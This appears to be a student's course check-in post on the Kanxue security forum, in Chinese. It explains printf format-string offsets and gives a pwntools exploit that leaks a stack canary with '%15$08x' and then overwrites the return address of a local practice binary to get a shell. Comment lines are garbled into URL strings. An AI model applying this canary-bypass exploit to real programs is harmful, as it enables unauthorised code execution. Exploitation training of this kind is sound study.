首页
论坛
课程
招聘
推荐专栏
课程评论
Editor
@小帅团  课程目前正在预售中,购买人数满30人后,才会提供全部课程
Editor
@AunCss  @mb_xwcimjey  添加微信kanxuecom,联系工作人员
Editor
@AunCss  @mb_xwcimjey  添加微信kanxuecom,联系工作人员
hackbs
Pwn                                                                学习第六课打卡!
0x00:Printf  %k$p格式解析
[
先来说说printf的这个特殊格式format,`%k$p`  {表示:%从第几个参数开始,$p  输出的类型},说实话我平时编程还真没遇到过这种格式输出的,看来是知识浅薄啊,得多读书多学习啊。
{
https://www.kanxue.com/这里栈顶到Cannary  Cookie值的地方刚好是0xF  也就是15,即[ebp-0xc]的值
%15$08x    //表示第15个参数,即15行开始,然后输出4个字节的十六进制,即正序长度8的十六进制数据
}
]

0x01:Exp
{
https://www.kanxue.com/test  Pwncannary
https://www.kanxue.com/@Pwnd  by  Lee  .
from  pwn  import  *

https://www.kanxue.com/exploit
def  exp():
        https://www.kanxue.com/Initialize,  open  the  process  to  get  a  handle
        hPwncannary  =  process("./PwnCannary")
        https://www.kanxue.com/Initializes  each  address
        hPwncannary.sendline('%15$08x')
        cannaryCookie  =  hPwncannary.recv()[:8]
        cannaryCookieHex  =  cannaryCookie.decode("hex")[::-1]
        https://www.kanxue.com/log
        print  'Cannary  Cookie  =  %s'  %  cannaryCookie
        https://www.kanxue.com/Payload
        cannaryAddress  =  8  *  4
        returnAddress    =  3  *  4
        exploitFuncAddress  =  p32(0x080484e6)
       
        https://www.kanxue.com/do  it.
        payload  =  cannaryAddress*'A'  +  cannaryCookieHex  +  returnAddress  *  'A'  +  exploitFuncAddress
        hPwncannary.sendline(payload)

        https://www.kanxue.com/log
        hPwncannary.interactive()



def  main():
        exp()

if  __name__  ==  "__main__":
        main()
}

0x03:成果
{
lee
@DESKTOP-9HESF2T:~$  python  exp_PwnCannary.py
[+]  Starting  local  process  './PwnCannary':  pid  896
Cannary  Cookie  =  cd7d8800
[*]  Switching  to  interactive  mode
$  whoami
lee
}
合作伙伴